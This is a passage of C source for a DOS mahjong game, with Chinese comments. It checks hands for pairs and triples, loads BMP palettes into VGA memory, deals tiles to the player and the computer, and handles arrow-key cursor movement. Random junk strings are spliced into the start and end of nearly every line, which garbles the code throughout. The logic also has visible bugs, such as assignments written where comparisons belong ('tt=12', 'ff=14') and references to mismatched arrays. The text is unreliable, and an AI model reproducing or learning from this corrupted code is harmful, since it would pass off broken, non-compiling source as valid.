& ^' K9 L, B9 T. T5 y. Z) U6 Jif(istwo(test))
5 s! d# ~0 S! T, k) A{ ill=0;$ H0 z0 j# F- X2 [
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/$ [9 B; [5 j0 S0 Z
{if(kl==i)
9 d1 h0 P1 F7 k$ a+ Z0 i{
( `4 [* W6 ~5 k# F1 n" f- ]# l0 ^kl=kl+2;0 ?$ G- L" k: Y) ?
if(kl==8)
& @" q0 Z+ `7 s1 B' lbreak;2 o1 \: u8 w8 i; M- P: J: }5 l
}
+ B4 B: _: [+ G) I+ ltest[ill++]=pt[kl];
+ m' \" w4 x: `; b5 R+ S}
$ T5 z3 u+ F- B* w8 Nisthree(test,tt-2); # Y3 R! [, a4 Z9 ^) e, t. x
}5 x1 O$ H  ]- |4 T5 X# e' O5 l
} 0 c8 \4 R! l$ F* u1 h1 y+ t- K
else if(tt==9)
2 ~8 i6 v7 S9 \$ kisthree(pt,tt);
* l6 [1 R7 l5 z7 celse if(tt==11)
6 I$ Q0 m" p# c. V+ ofor(i=0;i&lt;10;i++)6 N5 ~/ T; L0 B" V, C9 O
{$ x1 M, p! r1 u; e4 o
for(j=0;j&lt;2;j++)
" z$ R! F6 h3 j' f/ \, S{test[j]=pt[i+j]; " ]! b! W, Z" |1 H3 R: d5 c
}
6 P( G' R5 [, h8 A' v* yif(istwo(test))' Y! q* d1 j$ i
{ ill=0;2 H6 s1 T9 m% a/ e
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
# L( t- G8 C( F. K1 d) A8 Q2 Y4 L{if(kl==i)' N3 `5 B( z! v& C
{5 A7 ]: Q; p7 d  C
kl=kl+2;# ]9 L# O$ l/ ~* a& m) u
if(kl==11), W; P" \( n! P( m$ K
break;3 [# {0 \3 R/ o" h
}; l( C! i$ J. W/ T
test[ill++]=pt[kl];
( P' g4 P% Q' J! O}) E* s4 Y/ X4 q* C3 t1 k. a) m2 q
isthree(test,tt-2); 0 _. y+ }3 b8 L1 ^/ q3 u
}
5 C1 C3 k, Y+ q' ]& |1 E$ v7 U2 N/ N}
% v+ X) b4 g: h( n+ gelse if(tt=12)
1 e/ o" ]$ ]  L# v& U6 @isthree(pt,tt);4 C  k0 v% c8 p1 B* a& K- T
else if(tt=14)% h  T) g8 n1 \" f6 t
for(i=0;i&lt;13;i++)
5 q5 e8 b9 C" ^: ]3 Y{
7 G+ X# J6 U# L( t  O' Q' C. S4 H4 {for(j=0;j&lt;2;j++)
1 U4 h$ b4 p7 p$ h7 k* i9 b% y{test[j]=pt[i+j];
* V6 |/ x5 R6 o  T}
$ j/ s  {/ V  v* ~9 f+ f* T2 M7 ?# aif(istwo(test))( v  H9 b8 Z1 n$ Y: P6 F
{ ill=0;  C- W2 r8 F- R8 L0 U4 M9 M7 J6 _
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
1 A. C5 A/ X; r/ Z3 |) e{if(kl==i)1 q. ~& @8 s! d6 y3 C1 r
{
/ l8 e6 K5 _; ], C' _$ P+ H% w. @kl=kl+2;" F  }" Z% S1 ]; I3 }
if(kl==14)" ~. A- {) O3 W' \6 \
break;: ^5 z) x( K2 a
}3 m4 k" q( c/ P# p
test[ill++]=pt[kl];; @: n7 r! [: m3 \
}
! @* _1 F7 z. Z% X. k' g  P$ Gisthree(test,tt-2);
7 [4 H# }# ^  o  {/ T3 A" N}
, E( {) w, C1 j& R3 {}
. ~! k- ~7 U" |+ U7 F: M% lif(ii==2)* I5 g! _  r4 J- a
istwo(pi);
3 ]' S  B) _6 x  Nelse if(ii==3)
/ J% ]2 M. ?  Xisthree(pi,ii);" s( l4 S$ h1 h/ h1 G
else if(ii==5)! `2 f( s5 g9 N7 X1 ]& \! ~
/*pi[5]原始牌数组,假设已经升序排列*/
5 s$ W' {% O- [% V/*test[3]用来放置测试牌的数组*/6 t3 D! M8 l0 o0 }
for(i=0;i&lt;4;i++)
4 X3 e+ V8 Y* ?- e7 ^{
0 Q* S* b' J3 G# Pfor(j=0;j&lt;2;j++)6 m8 ~+ o& S  m' ]+ t  }
{test[j]=pi[i+j]; ' F8 _8 s2 Z- }+ q7 C2 \( ~' a" x
}
. k, T3 V7 J8 a* X' f# z7 cif(istwo(test))# C6 H; O! \- g; {* g: |) B  `
{ ill=0;
& {) C+ n+ j6 N& J! d- Y; hfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
- i7 a6 C% |' a' c{if(kl==i)9 S0 W+ ?! C7 q
{
9 e! C1 p1 \' u+ ~2 hkl=kl+2;
5 z; ~. q$ {; f# @- e, X4 @if(kl==5)
4 C+ @, m( Q: p" q# O+ ibreak;
! G, U( g0 c( `5 G}- D  m0 s- B4 J% F6 u5 q
test[ill++]=pw[kl];! _+ k0 y3 [, ?0 l* x" t4 C
}
. b* a  x5 ~% L1 Z1 C3 j% yisthree(test);# v2 S& A& x) n0 x7 b
}
+ M2 i. v+ r' ^& u}1 o# [+ y9 j2 u+ ]
else if(ii==6)
( `  S# ~1 v+ N( E( X9 @$ w  Cisthree(pi,ii); : a* I$ ]+ T. W# E, \4 e( A4 k
else if(ii==8)
9 }1 ^; ?& N( r) h6 Q: _for(i=0;i&lt;7;i++), L+ g" Y* [6 [/ k& y) ]7 |
{, y7 `3 ^' B- s' p1 u6 c
for(j=0;j&lt;2;j++)0 J% T" Y+ F! @8 f0 C
{test[j]=pi[i+j];
) D' ^+ Z) g5 ]1 `}
( Q& E. }1 W, q3 h6 Z% n: Mif(istwo(test))+ O! ]" A5 H- w% m
{ ill=0;
8 G- |1 @7 D+ `/ x" m: L/ C" xfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/0 {3 c; u* \5 S3 y: l9 m
{if(kl==i)* I; P% F3 N6 a0 D, F3 j8 Q" K
{
9 s" U4 [3 R+ ^3 I  Skl=kl+2;; F2 Z/ J: ~0 A4 ^7 p8 Y3 U6 O& l4 |
if(kl==8)4 L* Z  \5 A4 `3 ]% b: G8 }
break;
( N" G7 y7 {' W7 x1 M/ a; S}
% Y7 Q0 w7 \8 Q& q9 U% ltest[ill++]=pi[kl];
' @7 d9 W3 q' l* k, G! p' v}
" m2 d3 m) k: g" ]3 y! @! ~2 Cisthree(test,ii-2);
* q9 s) H1 o* a- P5 p2 k- T% R% t}, _. r8 V$ A% I+ o, Y0 U7 H
}
$ z" [' ]6 e  i5 |& ^, R9 pelse if(ii==9)
4 A% `3 f$ c, pisthree(pi,ii);: o; d6 H. X% I, [
else if(ii==11)
6 h3 \% u- S3 w# t. l# g) B% Ofor(i=0;i&lt;10;i++)
" p* M9 P! Y9 Q' M9 X4 u{
2 `2 ^7 {- `4 q2 N: O8 Mfor(j=0;j&lt;2;j++)$ i( t2 w4 ~0 E5 O
{test[j]=pi[i+j]; 9 U. P4 A! V+ D+ a
}
& Z) A/ Z5 Y. y' t* mif(istwo(test))  Y+ V: g8 V/ o) Z
{ ill=0;
& C6 N# ^; k0 t- p  A* Ifor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
; g/ X. y# w# X5 ]& c{if(kl==i): L2 z" K4 E& ?' b$ }' _
{
0 ^& P' F3 r; [2 Kkl=kl+2;1 V  R( s$ r+ ?
if(kl==11)( N/ ?% Y7 V1 m1 ?- r$ P! \7 B
break;
2 Y8 C- L! \% u4 J}
" W- G8 V$ @# e3 c$ q8 [& N  u0 G( U2 Rtest[ill++]=pi[kl];* W' y, n  K; M3 `  c
}& V# j4 \# n' {; y* x6 \( ^" c. t, R
isthree(test,ii-2); ! W" }* z/ s4 ?2 \6 l3 x, Q
}2 o9 Z8 Z8 x1 p, |1 c  [, z7 o
}
1 m( v) Z4 M# T% jelse if(ii=12)
6 v& f% t* ~) i+ |! S4 Yisthree(pi,ii);
2 p2 B% C8 N: {* N: N" o4 @else if(ii=14)# x' E3 s; `$ g' T
for(i=0;i&lt;13;i++), P, g8 a3 u% [% n/ ?6 C
{) \4 E* T6 o$ g. D$ z$ J, d, E- O
for(j=0;j&lt;2;j++): l7 t* Q* D3 _. k* N
{test[j]=pi[i+j];
; v" f  L' |: q* N8 |  ]}
+ [8 A7 d% [, v2 A: {5 v; G0 q7 p6 oif(istwo(test))
! h' K, O" u0 n" [{ ill=0;/ n* h/ G4 x7 v6 A! L0 ]" F; h
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
8 G/ k  M: e# @{if(kl==i)
- [0 [0 t- E" _) F{
# Z: ^0 v% V' A4 a' z( y$ \kl=kl+2;: X% O9 d+ z$ \- L2 l
if(kl==14)
" P$ z3 Y8 e5 b" Q4 gbreak;4 S) j  n. P8 m  K. U- L
}
, h. c4 K, d. \7 Ptest[ill++]=pi[kl];
  V* ?% f) C. @: F  S}
( g9 w! F  ]0 ~; N( C+ O8 Pisthree(test,ii-2); 4 y* S" x4 y( _  u8 b
}8 F/ e, C2 Z  V+ H, Q
} ; B+ j9 c: a) S7 |% H5 o8 T1 h
if(ff==2): E. B6 `( j' D; M! I) s
istwo(pf);: E& _6 H+ s% k9 N, T$ T
else if(ff==3)& e2 v7 C0 }; }& x$ L* J
isthree(pf,ff);3 L$ e; O( W1 \2 @8 ]3 {9 s( ^
else if(ff==5)
$ v6 Y. e+ }4 i6 w# ?& i/*pf[5]原始牌数组,假设已经升序排列*/
+ B2 u1 X8 M/ t& [2 t/*test[3]用来放置测试牌的数组*/+ M' l/ s. c; U
for(i=0;i&lt;4;i++)
7 K' M6 s" v) R! V( j. g{
5 u' V2 B* @: [/ ~for(j=0;j&lt;2;j++)( I, g- B0 `! `8 o& V
{test[j]=pf[i+j];
3 z6 y3 N* r, d}" A/ B7 Z) O0 E
if(istwo(test))
( R0 N% N* Q/ s5 f7 @# o{ ill=0;
! k0 ?& ^+ y. s, c4 L! gfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/' D& w' {2 L, H! \1 [3 t
{if(kl==i)7 ?/ d/ y( N) `' E% x0 I
{1 e  w" B$ y/ r8 q2 f
kl=kl+2;+ ^1 L4 L- a8 e* D# E
if(kl==5); [+ w$ _2 P* A8 q
break;. ?% }, H  K* b! o1 q
}" j: w" C, f6 w* t; F$ U
test[ill++]=pf[kl];
8 n! ~4 y4 Q  k8 X2 n, K! u+ U}
! @* @7 J+ V, g3 b' Pisthree(test);8 R' ~! y9 t& W2 i. e) }8 U
}
( w' r% @, c7 j5 p" X" s}, T! p, r5 Q" U- Y$ q
else if(ff==6)
+ \  a2 ~, J' \3 B2 e: Listhree(pf,ff);
, f, f* |- }* X, Zelse if(ff==8)% A  m( V: q. u# f+ g1 l
for(i=0;i&lt;7;i++), U3 X. C5 V- Z# \% T- X
{. ^6 P% A. }0 }' c4 d
for(j=0;j&lt;2;j++)
; U4 j4 y( J! Q( |: p- }; b{test[j]=pf[i+j]; $ l' x4 l5 Q  W4 Y& s
}) {* G( w& p7 x; E" E
if(istwo(test))1 }: D( A% ~. G0 P0 `  n* p
{ ill=0;  b5 o  V( X, ^' ~- d1 u% ]/ |4 R1 Z
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/0 g# L. G& a& Y% v* O# Z8 i
{if(kl==i)
1 o; B+ c$ Q+ b# E( @! l" ?{
3 F: j, p. V4 ~kl=kl+2;
7 P1 w7 R8 N9 |, b9 @9 c$ Q5 C6 N9 Gif(kl==8)
3 Z3 i. y' n! z7 ]$ rbreak;4 c! F( O0 f4 E7 z
}
. O# o" O* u0 Htest[ill++]=pf[kl];8 f5 h- a' T+ j! Y* M
}! C9 b; d7 R1 ?( K0 }7 U+ ~
isthree(test,ff-2); , u2 i) o# a5 x& `1 c: Q% I9 w
}
2 J7 l+ z/ w8 c( M/ [}
# n; `( J6 r9 B+ K1 y- {else if(ff==9)) P' Z3 W7 Y# c* L7 `3 ]3 l1 m
isthree(pw,ww);
/ c& j' P& o: relse if(ff==11)3 l0 O8 O. @( c1 {: U- q
for(i=0;i&lt;10;i++)
2 W! `6 |: v/ w4 x( c  i, c1 [7 {3 J{
" a' e  V2 q. ], s" m: s4 @# U3 nfor(j=0;j&lt;2;j++)
+ ]0 N- a/ |( \# Z1 Q{test[j]=pf[i+j];   q/ M4 J4 I5 _- u3 p
}
2 h3 t- W- M5 f9 ~* qif(istwo(test))0 }! p) ~, L; R) v
{ ill=0;+ o+ q7 q2 O; N
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
6 X' c+ N/ V7 @9 w& ?{if(kl==i)4 K6 _) T, n; D8 c# n! r1 k8 c: a! i
{
! }, F2 }' ^2 j* Dkl=kl+2;
6 t+ u% w$ y5 Uif(kl==11)
+ `/ ^/ k% b) V+ {( |2 hbreak;  q5 Z# M" g7 B: r) R5 `
}+ y9 ]' Y, ~5 |0 ?8 |- T) K
test[ill++]=pf[kl];
) d  j" E- `3 D}
  r0 h" L6 X8 B7 C) qisthree(test,ff-2);
) f; m0 i; l7 V4 w$ ~  ^! h}# h( Q5 r2 f; q' h6 o0 C1 u
}
% l# Q3 m2 x5 ^( j( Q4 P9 i: ~5 \else if(ff=12)3 Q0 B  O8 Y, J5 ]2 u
isthree(pf,ff);, }( q2 S) m' s8 j4 L
else if(ff=14)
7 ]2 J' @; U) S% i4 u- J, v6 v4 kfor(i=0;i&lt;13;i++)# W/ f1 E/ b! r* [
{
5 ]( F0 |0 O; ~# W1 j& }for(j=0;j&lt;2;j++)
; K3 m2 ^+ I( k7 ]/ Q  Y& w4 ^- T{test[j]=pf[i+j]; 8 M# Y  v0 h3 o
}
! G- d, J4 M  C* e4 Oif(istwo(test))4 Y; V$ ?3 E% F, `3 r
{ ill=0;
; P' K# i1 M0 F* p' k. m/ ifor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/- u! \  K8 v9 N( s- `. M
{if(kl==i)
2 ?* i  W6 R7 O9 w0 d4 g8 p8 D{2 [1 }( @+ \& ~2 d
kl=kl+2;- A! j4 B9 v6 r8 i- r
if(kl==14)- G  M9 Y& o, R8 {; t4 v# j
break;
+ J& F# R$ |1 r& M}2 s9 z6 x! y8 i9 g
test[ill++]=pf[kl];
) H' [7 s5 F. o2 W' w}6 j& T( ?8 [" r
isthree(test,ff-2);
" o  I$ A/ U) N5 i}
) l/ H& b" p9 O# i/ w9 N}
% p4 ]1 a4 O8 }: ?( {}
; S1 b( \* y6 W4 Z! l0 ]8 K6 gvoid main(void)
, m* f1 u. ~: M5 h# i7 p{& B) V9 v* Q/ Y0 ~6 i
FILE *bmp;/ J# [+ l9 d# l5 E! a3 X' j' r' X' X9 J* H
static char *name[2]={"ff.bmp","logo.bmp"};& J9 @2 Z( o7 U5 y$ ]
char *p;) _/ d2 B5 N- X( }  I
int *lingshi;: i0 [3 D% j* M$ O  _  _% X' T
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
! g/ N$ X/ b# R7 E2 a2 xint every=0,w=0,x1,x2,y1,y2,every1=0;
, ^1 G$ j* J# p8 X, \( pint logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;2 m, F5 P  j3 X" W
BYTE palette[256][3];
) u% y& b7 c2 c7 C) VSETVGA;
' p( J! h5 Q  B! x  @. f4 D, j: Lgetch();
, f2 s. f) k7 [; X2 Uwhile(t--)
0 `, U% v) p/ I{# V3 J5 o4 V. ~
bmp=fopen(name[t],"rb");
2 K* z. r( Z5 w! h: sfseek(bmp,54,SEEK_SET);# Z1 y" r9 ~  [/ t3 J  J+ G6 H
for(i=0;i&lt;256;i++)
. }8 }, I, ?, R+ U{
! T6 U# ^2 q# {0 g) `9 vpalette[2]=fgetc(bmp)&gt;&gt;2;
8 _: F, l( o. W! x" V+ m; jpalette[1]=fgetc(bmp)&gt;&gt;2;
# v$ m8 n) b6 H( e1 o5 v  Tpalette[0]=fgetc(bmp)&gt;&gt;2;! N) ?$ F. s' N+ J3 |
fgetc(bmp);
! ~8 ^, J4 Y8 \+ t( {5 A" ^Set_Palette(i,palette[0],palette[1],palette[2]);( \9 V' x/ N! p5 C5 v, Q& J4 _6 B# w
}
' [4 O8 a+ G, Wfor (y=0;y&lt;200;y++)
( L2 ]1 S5 Z$ w; r! a2 V! k, }- q  tfor(x=0;x&lt;320;x++)" M9 L* S& G$ m$ p$ h
pokeb(0xa000,y*320+x,fgetc(bmp));$ j! C( W4 \7 _* U  l" I3 @
fclose(bmp);& N) Q7 K# m% [+ }( h9 i* J
getch();& R' `( A) Z. J  Y2 k9 h- ~
}
2 Q( z) H  A! n5 v, Pgetch();: l  Z# C" ]5 D
fillRectangle(0,0,320,200,0);
; P; \) [% x; ]% S7 {  N! Z: ogetch();
+ ^; v6 T! R1 m" i4 G' ~1 _6 mrandomize();0 O8 V, Q7 Y) V8 E. [( a" n
me.m=onetothirteen;& c8 ^% |: W5 Z' q
while(me.m&gt;0) /*先循环,给自己拿牌*/
( r# l. o; V3 ~# j$ |: [{# j6 M4 m( ?2 y( u

/ M2 S; p8 n8 i' {- c$ K2 Itemp=random(136);* m/ \7 O6 x. k0 ]
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
7 I3 s9 W/ d) s: i6 ~{
" r/ w* G5 e2 _+ N& Cme.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
& [$ v2 G7 s( t* e, d" cme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
4 f. w" O+ T; ]me.pp[n].number=temp; /*第几张,用来排序*/' o# U4 u% V* J% _" p1 Y' t
m[temp].data2=1; /*判断牌是谁的*/7 S! m' z+ q1 h
kk=1;
$ t% S  [- Q# _+ t% C# z}
* A" r1 q. p# U* \% I# Qif(kk==0) /*判断如果又选择了,就从新再选*/) \& U- R8 v# w9 z$ l2 C  ^
{
/ \- ]$ D5 d1 {- n' z. W. K9 kme.m++;
4 d/ B+ q% @# q8 H* M# Z* v' l& L- wn--;
3 r, d, c  @$ S; `, a! C}
$ V+ h7 a! l& e- `3 Y; nme.m--;3 I2 k5 @  V) B7 d: x* D
n++;
4 q' Z! t3 R; G, Hkk=0;, o! ]2 q3 n3 y. P
}
( W5 X6 p* B2 R, ?me.m=12;
( V, M* d; s. d6 {6 H! Zmelipai(); /*理牌*/
3 k4 n( t% V( `& p- G! U" [6 Y; V, s% N5 @# K
n=13;
  C1 o, N1 ~, W( Rwhile(l&lt;n)
; W& {$ n$ B" @' g( H" _{
1 q/ \2 n; v9 {9 }7 x/ sz=z+20;
2 y2 N! I0 s2 i5 T- Ashowbmp(l);
: R; Y1 `4 Z! k# X8 _l++;6 B% V' z7 {4 e2 d8 _/ d

7 E' F, Y9 Q  q5 P3 y+ z" E7 R' r}* X' X- f4 ]7 d* N! ?) [# ]; a
randomize();
* K/ M1 M' ]3 r+ Bcomputer.m=oneorthirteen;: w; b' B' O3 f5 T
n=0;
3 H7 |  p8 r" P$ v8 {1 J/ H% twhile(computer.m&gt;0) /*循环,给对方拿牌*/
) p/ {" i! ?1 {9 P% H" F1 U8 c6 f{
- q" i; V6 l4 E+ X9 atemp=random(136);) K+ Y% \' M' N1 K" x( E" |, Q
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
+ `9 m3 i- x( \7 {{
: k# X1 U" u: p& w  R/ S8 Xcomputer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
/ t& _: h+ L% Z7 Lcomputer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
# Y' Y$ u" ]+ z: @$ B: e) x7 Gcomputer.pp[n].number=temp; /*第几张,用来排序*/0 ^# Z$ k0 w% n' M
m[temp].data2=2; /*判断牌是谁的,2为电脑*/2 g4 S- t8 C8 B4 ]; g! |
kk=1;
" `: X0 u( O  u1 A: v% M}
% R) E7 t- L9 B/ k0 M1 oif(kk==0) /*判断如果又选择了,就从新再选*/& b$ f! T+ i/ ^0 D. \4 q
{
- \6 t2 f& R' N  M' K0 e2 R' x! Mcomputer.m++;1 _/ |' R4 ]3 Y
n--;  Y, j* l: Z6 W7 Z* |. E
}
0 F) s8 [9 t" K8 v9 ]7 F9 kcomputer.m--;) \/ l7 E5 c$ [% T2 K1 z
n++;
" d8 T0 S* y# [1 R. [6 T% F! L0 ]kk=0;( a" x2 _% o1 P/ C& ]) q! Q. e, T
}7 f: ^2 @# ~7 `# D' o3 p
computer.m=12;
( K$ A% U% B' d% ?$ X9 z- e' `comlipai(); /*电脑理牌*/
' V$ z: s" v5 e% d7 ?  t5 Ln=13;
- P) E8 n' K' E3 bwhile(ll&lt;n)
; u) L7 S2 ]. v1 `{
& M- [1 o. S& \+ T  C4 ?  m# vzy=zy+20;9 ~, D5 t2 o2 n6 e" i" |9 \, O9 d
showybmp(ll);
/ G- O# G) K; A6 B; Oll++;, J( _7 D7 n: n0 }! o
}
$ v  R4 m4 F$ p* C% v# w( D
, L3 Z, V/ a* q, Z/ i3 ^* r5 Mz=54400;/ s, z% K- g+ x7 S' k# d# C* k
while(key!=ESC)6 w4 C! b4 y7 |5 Y6 Z
{ % Z  u; W3 H  v( }4 o& {* P8 h  C

$ ^% O/ h* v2 U9 U1 n" E/ Bkeyy=bioskey(0);" c3 g' @, y8 k
if(keyy==LEFT)
; j3 Y* E/ [3 }9 x{ w=1;# Q! j( ~3 Z% y; ?' O8 d& g
if(every==0), m6 B+ `8 H  z8 M; m4 @; U3 Q
{1 G- @$ A0 w1 c" d+ K9 o3 c& Z% K
every=1;8 l8 }/ o4 ?6 y! H7 [. K
z=54440-5*320;. w' M2 T5 g$ Z, B0 U( v

1 f+ w" @1 I; L8 T2 }}
7 z/ ?1 Y) H% l3 e4 f; q% F; x9 yzz=zz+5*320;5 e. C2 V4 s  V* B# Y* i
showbmp(every);2 z: R6 |8 z. C* J
if(every==0)
1 S& ~  t" w4 f8 K2 \9 W{
9 [; F# w- N4 j5 \) \& o" cx1=20;) O: q( e5 d+ c  Q* l
y1=165;8 {7 }' T' }: O/ h: ?/ k5 Q) {
fillRectangle(x1,y1,x1+20,y1+4,0);4 ]/ @, ]& ~7 T1 j& f9 Y0 u
}6 ^; X) r; {& J4 Z0 Y
if(every==1)
+ Z/ \$ o+ I; `9 I{  j/ q* u: s7 Z; G( d6 L2 c8 G8 z
x1=40;  Y# F1 e/ Y5 c' o, H1 I& q1 z
y1=165;
4 o9 m5 g  f- n5 t# _3 OfillRectangle(x1,y1,x1+20,y1+4,0);
$ A3 O, V: h" C0 m* u% [, B& y}' Z+ e$ B& W# d9 }: Y
if(every==2)/ @; l$ w; r5 y" s
{
8 K( z2 }4 ?8 [$ N, a' }x1=60;
- p3 a) Q7 h! {  X9 }y1=165;
, n2 l0 v0 O  ~; kfillRectangle(x1,y1,x1+20,y1+4,0);
4 J8 U( Y5 S( I! t& o, o5 V7 y3 x: F}
* L$ A) ?# K8 n5 P+ w, }/ Hif(every==3)
$ I  V. \1 h7 f4 X' a{5 Z/ _+ S& `8 O$ j0 X
x1=80;
& x6 u+ O+ H! Y$ zy1=165;" q" `- E( q% j! p! v* L
fillRectangle(x1,y1,x1+20,y1+4,0);
0 |$ s. E8 q1 r! n/ P: L9 e2 W}  A9 ?+ [+ o# f
if(every==4)
7 H9 |/ i" j$ c. @{
# A; E8 ~: S7 F: F2 xx1=100;
0 G. `- O+ o5 c1 F& S: q7 uy1=165;  Y* g2 E9 J: c/ T" d. W$ r
fillRectangle(x1,y1,x1+20,y1+4,0);
9 w) ^9 ^8 V5 J/ X( e}+ \: x- U# d1 ~6 h5 n( p+ u, c: j
if(every==5)) ~% c/ P& g0 V, S+ N5 j/ L
{
& ^4 ~/ z" x$ L- X1 s7 i' ax1=120;
1 T( v) q( L- D: Vy1=165;  D' S0 u3 K+ ^( S( e2 U
fillRectangle(x1,y1,x1+20,y1+4,0);; X6 M% A+ V# [5 w
}* ~: Z$ ?- ?) {6 ?4 L$ e
if(every==6)0 _5 F0 i, @0 q/ F$ ^
{
& X+ T0 x, w$ w& B+ K: n+ N. U8 Yx1=140;4 l: y: r0 W% }  W1 u% f( Q4 e+ A
y1=165;
( R0 J: r& c7 y  N% D; YfillRectangle(x1,y1,x1+20,y1+4,0);  @' J8 w5 m3 {" _; Z2 B6 H+ y) s
}& @! `- P, U) s' W9 U/ e
if(every==7)
% n- d# ]7 ^' P1 K3 g{- d: P! _( w! P; L" \  R
x1=160;, C5 d) Q# ~$ P! N- ^7 E( K8 H
y1=165;
/ |! U) n" ]0 V# sfillRectangle(x1,y1,x1+20,y1+4,0);
) {6 d0 m0 r' q. y9 ~7 `* o! o}' \9 y5 Y! C; U4 G9 u; }
if(every==8)" x4 |+ x) Y8 y1 o. l' F
{$ ]7 `" Q! A3 h
x1=180;
, w; k3 ?' D$ v4 \y1=165;4 k# r- y# I* a0 G( f. v1 z- ^
fillRectangle(x1,y1,x1+20,y1+4,0);
' R1 h5 D. X5 |& k}+ O5 l: j" N% v; `2 m
if(every==9)
/ ?9 w$ W7 G1 V8 K{
9 i" O4 D/ ]9 T" Qx1=200;0 Z3 i% H, b2 e, C2 J+ c4 R3 _# X
y1=165;
: h- Q6 `4 p; w8 h9 u, m* dfillRectangle(x1,y1,x1+20,y1+4,0);0 T/ C# \- }8 {1 Z) m- K  z( a
}
5 e" C1 B+ {) y4 T* K  Eif(every==10)2 {6 ^' ]4 R; W( a' W; Y
{. V: h; [! d4 ~. G- ]. s( y
x1=220;
! K8 r( l7 y. }* r8 a: F8 }/ Yy1=165;# u9 A8 A6 x3 U  `# x! j8 y
fillRectangle(x1,y1,x1+20,y1+4,0);
9 [0 u; O" q0 o8 K" S/ D( c}; n3 E( |9 M! W' J/ ~
if(every==11)
; E4 h. @( `: I( R{
0 ], S$ e8 I2 L0 [9 \x1=240;" F9 B8 P# o0 p6 u! H
y1=165;* e/ X  o( ?7 }2 K2 _2 U$ w
fillRectangle(x1,y1,x1+20,y1+4,0);. S3 d3 Z: H, ?  x' z0 x0 g4 I9 p. N
}
2 O" L+ x, Y# w* Uif(every==12): [$ S. f9 ^& F$ f8 {3 q; d
{- C$ q( V4 c- }% r/ ?5 ?; z! ^; |. b
x1=260;
4 ^  M. E- N% _! e2 [4 Ny1=165;
+ ]' ?" U7 g9 v8 y3 @0 q9 ]4 gfillRectangle(x1,y1,x1+20,y1+4,0);
& J3 `# R3 Y6 y6 |. X1 n8 R" E3 t}
7 _$ `* w/ E' Ezz=0;2 o% T! l% l1 S: n. I) d8 ~) _& o
every--;6 `) P) j0 s; E3 o
z=z-20;
8 t6 g( A5 c, M}/ Q. V( M, u# T, V" [1 N# ~8 F
if(keyy==RIGHT)
. I( _% ^- ?1 I1 w4 f; Y{ if(w==0)
5 X: m6 G+ X$ @" R/ r: ]2 T{
2 x' d: A' R0 \! Y3 T, Pz=54440-5*320;
6 l6 t* r# T) w' wz=z-20;4 O4 @" q4 [8 ?
w=1;
+ Z+ N1 i1 P* _2 l* ~}, k# T& `( O) [6 H# w; d
if(every==12) - [% O" ~' a% M# f# Q  F6 y- e& u% {( z
{6 @$ {0 }& Z% M0 ~
every=11;
1 }% d5 Y; U- Q& L" C4 C, Dz=54640-5*320;
% F" X* P7 _$ F( _! ?}# @$ g; m+ `, Y, d
zz=zz+5*320;
+ l. o5 B. b1 B  D2 p4 Pshowbmp(every);3 e$ b3 J. X$ R2 G& d4 m
if(every==0)5 q) _# O( T5 g- \" S+ z
{
) }3 M4 _/ \9 q" H5 Z  Ux1=20;+ ?8 n/ b0 D. D; f
y1=165;' C- W9 f" H6 l5 J5 {5 ?! q
fillRectangle(x1,y1,x1+20,y1+4,0);3 J" ^& }' r- u  C+ Y
}) t7 L+ q' I% X* Z
if(every==1)1 M/ v3 R8 L- g3 A. w
{
2 a  v' V% X: [7 G. Z* rx1=40;, o% j6 _+ `* n; A: M$ o" k  ]2 ?
y1=165;2 e; I2 M% d; o0 `& A" s$ P
fillRectangle(x1,y1,x1+20,y1+4,0);
9 ^4 T0 D1 J+ k9 K9 |& h}& ^+ h# o4 h3 y4 F; H
if(every==2)
1 v) i, K, t/ f3 {{
: o5 ?5 v5 F. e0 Ax1=60;
' n* r3 F4 d% O* q6 e+ zy1=165;
( @, ~4 M! @% nfillRectangle(x1,y1,x1+20,y1+4,0);
, A- X: q5 s, I( y}/ B$ ?; g# r: k" ]3 ^8 O
if(every==3)
& _7 W" P3 P* @/ `& v) Q' Z) E{
! i- m2 F: l) Xx1=80;
1 ~# p  p5 T3 m% r+ Y1 fy1=165;
% J5 W# f, P# S+ a* h9 x6 ~fillRectangle(x1,y1,x1+20,y1+4,0);
& G; {7 W3 `- ~4 y# I: g}0 ^# A+ l& \' w4 q- z3 d/ J
if(every==4)
" o+ k* E% x. d: K" I" t- \: o{+ u* @. d; t( D6 P4 m7 ~7 U* c6 g' Z
x1=100;' [' ?& i, X7 b: e
y1=165;
$ [( y' a7 r# `' r: T$ RfillRectangle(x1,y1,x1+20,y1+4,0);
$ u6 P. Z4 W, ~4 G}' a) X. O( W  T$ G8 Y
if(every==5)
5 [- E4 [/ D, y  I) O+ o' ^, p$ j{. k' _- S) _0 U$ T7 B
x1=120;% D: f! M5 H) M$ Y
y1=165;
. o& A. I# r6 _% p' OfillRectangle(x1,y1,x1+20,y1+4,0);: p/ r+ F5 U0 D; q" j2 {; Z+ j$ U
}
' ~% Z9 t0 A. t7 Gif(every==6)
3 m* v4 m' Y# A{
) ~8 T/ [, c# }4 ^, xx1=140;9 G" i0 I: s% @' V9 [5 {; v
y1=165;) u! x1 @& Z; R0 h/ D
